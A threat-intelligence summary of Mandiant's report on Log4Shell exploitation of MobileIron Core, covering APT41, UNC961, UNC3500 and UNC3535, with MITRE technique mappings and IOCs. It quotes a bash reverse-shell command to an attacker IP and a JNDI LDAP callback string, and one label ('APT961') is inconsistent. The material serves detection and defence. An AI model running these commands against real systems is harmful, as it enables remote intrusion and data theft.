Mandiant analyzes CVE-2021-44228 (Log4Shell) exploitation against MobileIron Core, detailing four adversaries and their post-exploitation actions. It catalogs IOCs, maps observed behaviors to MITRE techniques, and outlines defensive guidance and validation steps from Mandiant Security Validation. #Log4Shell #MobileIron #APT41 #UNC961 #UNC3500 #UNC3535 #KEYPLUG #HOLEPUNCH #HOLEDOOR #DARKDOOR #mifs #Ivanti #VMwareHorizon
Keypoints
- CVE-2021-44228 (Log4Shell) was disclosed on Dec 10, 2021 and exploited widely; PoC code emerged to target unpatched MobileIron systems.
- Four threat groups—APT41, UNC961, UNC3500, and UNC3535—conducted the most significant MobileIron intrusions, with 22 observed clusters and multiple campaigns.
- APT41 rapidly leveraged the vulnerability to establish reverse shells, test connectivity, download payloads (KEYPLUG.LINUX), and perform post-exploitation actions on MobileIron servers.
- UNC961 conducted anti-forensic steps (e.g., unsetting HISTFILE), deployed backdoors (HOLEPUNCH, HOLEDOOR, DARKDOOR), and exfiltrated registry data from compromised Windows hosts; they also targeted VMware Horizon servers.
- UNC3500 used SoftEther VPN for persistence, configured multiple VPNs, and performed extensive on-host recon and VPN troubleshooting to maintain access.
- UNC3535 used base64-encoded payloads, exfiltrated MobileIron data (including MIFS), and demonstrated substantial data theft via web and HTTP GET/LDAP-like activity.
MITRE Techniques
- [T1190] Exploit Public-Facing Application – Exploitation of CVE-2021-44228 on MobileIron Core with PoC available for unpatched systems. Quote: “Proof-of-concept (PoC) code quickly became available to exploit the vulnerability in unpatched MobileIron systems.”
- [T1105] Ingress Tool Transfer – Adversaries downloaded and staged payloads on the MobileIron server (e.g., via wget). Quote: “wget to download and stage their payload on the MobileIron server.”
- [T1059.004] Unix Shell – Post-exploitation reverse shell activity using Unix shell commands (e.g., Bash reverse shell). Quote: “The base64-encoded string decodes to the following reverse shell payload (Figure 2). bash -i>& /dev/tcp/103.242.133[.]48/8085 0>&1.”
- [T1027] Obfuscated/Encoded Files or Information – Use of base64-encoded payloads for the reverse shell. Quote: “base64-encoded reverse shell payload” and later “Fully decoded command…”
- [T1133] External Remote Services – Persistence via VPN infrastructure (SoftEther VPN) to maintain access. Quote: “use of SoftEther VPN to maintain access to a system.”
- [T1071.001] Web Protocols – C2 and data exfiltration conducted over web protocols, including HTTP/LDAP-like callbacks. Quote: “ldap://198.13.40[.]130:1389/Deserialization/URLDNS/335b5282.dns.1433.eu[.]org” and “GET /mifs/images/wtower_in.png HTTP/1.1”
- [T1005] Data from Local System – Exfiltration of the MIFS database and other sensitive data. Quote: “The MIFS database contains sensitive data, including device information, password history, and other data necessary for device management.”
- [T1036] Masquerading – Renaming an executable to avoid detection. Quote: “They renamed the KEYPLUG.LINUX binary to .kernel to hide the file with the hidden file attribute.”
- [T1041] Exfiltration Over C2 Channel – Exfiltration of registry data and other files to attacker infrastructure. Quote: “exfiltrated the exported registry data to their infrastructure using the PSCP utility.”
Indicators of Compromise
- [MD5] – f4dd330ff093e69a181854eccaa2432c, 31c49b87463f4e4ce6ae4c442319d3a2 (APT961, HOLERUN and HOLEDOOR variants)
- [Domain] – 111111.note.down-flash[.]com, 2f2640fb.dns.1433[.]eu[.]org, 335b5282.dns.1433[.]eu[.]org (Log4j Exploit/C2 activity)
- [Domain] – microsoftfile[.]com (KEYPLUG.LINUX C2 domain)
- [IP] – 103.224.80[.]44, 103.242.133[.]48, 107.181.187[.]184, 149.28.71[.]70 (C2s, reverse shells, HOLEPUNCH/DARKDOOR activity)
- [IP] – 35.189.145[.]119, 45.61.136[.]188, 34.92.40[.]189 (VPN/config and reverse shell activity)
- [File] – KEYPLUG.LINUX (ELF payload used by APT41)
- [File] – HOLEDOOR, DARKDOOR, HOLERUN (backdoors/backbone of UNC961 UNC3535)
Read more: https://www.mandiant.com/resources/blog/mobileiron-log4shell-exploitation